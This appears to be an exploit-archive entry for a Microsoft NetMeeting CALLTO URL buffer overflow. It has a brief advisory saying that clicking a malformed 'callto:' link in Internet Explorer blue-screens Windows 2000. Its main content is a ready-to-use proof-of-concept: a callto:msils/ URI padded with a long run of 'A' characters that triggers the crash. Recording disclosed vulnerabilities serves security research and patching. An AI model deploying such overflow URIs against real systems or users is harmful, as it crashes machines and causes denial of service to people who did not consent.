Microsoft NetMeeting 2.1/3.0.1 4.4.3385 - CALLTO URL Buffer Overflow (PoC)

Author: David F. Madrid
type: dos
platform: windows
port: 
date_added: 2003-05-20 
date_updated: 2012-11-11 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/7639/info

It has been reported that clicking a malformed 'callto:' URI in Internet Explorer will cause Windows 2000 systems to crash, resulting in a blue screen. This appears to be due to a boundary condition error in one of the URI parameters of the CALLTO protocol handler.

callto:msils/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaaAAAAAAAAAAAAAAAAAAAAAAAAaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaAAAAAAAAAA+type=directory